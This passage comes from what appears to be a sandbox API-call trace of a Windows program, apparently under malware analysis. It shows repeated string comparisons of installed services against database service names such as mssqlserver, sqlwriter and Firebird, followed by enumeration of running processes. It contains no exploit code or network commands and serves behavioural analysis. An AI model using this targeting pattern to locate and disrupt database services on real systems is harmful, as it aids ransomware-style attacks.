(lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0049.948] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0049.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0049.948] lstrlenW (lpString="Power") returned 5 [0049.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0049.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0049.948] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0049.948] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0049.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0049.948] lstrlenW (lpString="ProfSvc") returned 7 [0049.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0049.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0049.948] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0049.948] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0049.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0049.948] lstrlenW (lpString="RpcEptMapper") returned 12 [0049.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0049.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0049.949] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0049.949] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0049.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0049.949] lstrlenW (lpString="RpcSs") returned 5 [0049.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0049.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0049.949] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0049.949] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0049.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0049.949] lstrlenW (lpString="SamSs") returned 5 [0049.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0049.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0049.949] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0049.949] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0049.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0049.949] lstrlenW (lpString="Schedule") returned 8 [0049.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0049.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0049.949] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0049.949] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0049.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0049.949] lstrlenW (lpString="SecurityHealthService") returned 21 [0049.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0049.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0049.949] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0049.950] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0049.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0049.950] lstrlenW (lpString="SENS") returned 4 [0049.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0049.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0049.950] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0049.950] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0049.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0049.950] lstrlenW (lpString="ShellHWDetection") returned 16 [0049.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0049.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0049.950] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0049.950] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0049.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0049.950] lstrlenW (lpString="Spooler") returned 7 [0049.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0049.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0049.950] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0049.950] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0049.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0049.950] lstrlenW (lpString="SSDPSRV") returned 7 [0049.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0049.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0049.950] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0049.950] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0049.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0049.951] lstrlenW (lpString="StateRepository") returned 15 [0049.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0049.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0049.951] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0049.951] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0049.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0049.951] lstrlenW (lpString="SysMain") returned 7 [0049.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0049.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0049.951] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0049.951] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0049.951] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x700cc8 | out: hHeap=0x6a0000) returned 1 [0049.951] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2e8 [0050.225] Process32FirstW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0050.225] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0050.226] lstrlenW (lpString="System") returned 6 [0050.226] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0050.227] lstrlenW (lpString="smss.exe") returned 8 [0050.227] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0050.228] lstrlenW (lpString="csrss.exe") returned 9 [0050.228] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0050.228] lstrlenW (lpString="wininit.exe") returned 11 [0050.228] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0050.229] lstrlenW (lpString="csrss.exe") returned 9 [0050.229] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0050.230] lstrlenW (lpString="winlogon.exe") returned 12 [0050.230] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0050.231] lstrlenW (lpString="services.exe") returned 12 [0050.231] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0050.231] lstrlenW (lpString="lsass.exe") returned 9 [0050.231] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.232] lstrlenW (lpString="svchost.exe") returned 11 [0050.232] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0050.233] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0050.233] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0050.234] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0050.234] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.234] lstrlenW (lpString="svchost.exe") returned 11 [0050.234] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0050.235] lstrlenW (lpString="dwm.exe") returned 7 [0050.235] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.236] lstrlenW (lpString="svchost.exe") returned 11 [0050.236] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.237] lstrlenW (lpString="svchost.exe") returned 11 [0050.237] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.238] lstrlenW (lpString="svchost.exe") returned 11 [0050.238] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.238] lstrlenW (lpString="svchost.exe") returned 11 [0050.238] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.239] lstrlenW (lpString="svchost.exe") returned 11 [0050.239] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.240] lstrlenW (lpString="svchost.exe") returned 11 [0050.240] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.240] lstrlenW (lpString="svchost.exe") returned 11 [0050.240] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.241] lstrlenW (lpString="svchost.exe") returned 11 [0050.241] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.242] lstrlenW (lpString="svchost.exe") returned 11 [0050.242] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0050.243] lstrlenW (lpString="spoolsv.exe") returned 11 [0050.243] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.243] lstrlenW (lpString="svchost.exe") returned 11 [0050.243] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.244] lstrlenW (lpString="svchost.exe") returned 11 [0050.244] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0050.245] lstrlenW (lpString="audiodg.exe") returned 11 [0050.245] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0050.246] lstrlenW (lpString="sihost.exe") returned 10 [0050.246] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.246] lstrlenW (lpString="svchost.exe") returned 11 [0050.246] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0050.247] lstrlenW (lpString="taskhostw.exe") returned 13 [0050.247] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0050.248] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0050.248] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0050.248] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0050.249] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0050.249] lstrlenW (lpString="explorer.exe") returned 12 [0050.249] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0050.250] lstrlenW (lpString="Memory Compression") returned 18 [0050.250] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0050.251] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0050.251] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0050.252] lstrlenW (lpString="SearchUI.exe") returned 12 [0050.252] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0050.252] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0050.252] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0050.253] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0050.253] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0050.254] lstrlenW (lpString="taskhostw.exe") returned 13 [0050.254] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0050.254] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0050.254] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0050.255] lstrlenW (lpString="UsoClient.exe") returned 13 [0050.255] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0050.637] lstrlenW (lpString="taskhostw.exe") returned 13 [0050.637] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0050.638] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0050.638] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0050.638] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0050.638] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0050.639] lstrlenW (lpString="msoia.exe") returned 9 [0050.639] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0050.640] lstrlenW (lpString="msoia.exe") returned 9 [0050.640] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0050.641] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0050.641] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace.exe")) returned 1 [0050.642] lstrlenW (lpString="screensaver-fireplace.exe") returned 25 [0050.642] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xml-upper.exe")) returned 1 [0050.642] lstrlenW (lpString="xml-upper.exe") returned 13 [0050.642] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeat preston.exe")) returned 1 [0050.643] lstrlenW (lpString="defeat preston.exe") returned 18 [0050.643] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="surveillance.exe")) returned 1 [0050.644] lstrlenW (lpString="surveillance.exe") returned 16 [0050.644] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="meanwhile-legends.exe")) returned 1 [0050.645] lstrlenW (lpString="meanwhile-legends.exe") returned 21 [0050.645] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed.exe")) returned 1 [0050.645] lstrlenW (lpString="deemed.exe") returned 10 [0050.645] Process32NextW (in: hSnapshot=0x2e8, 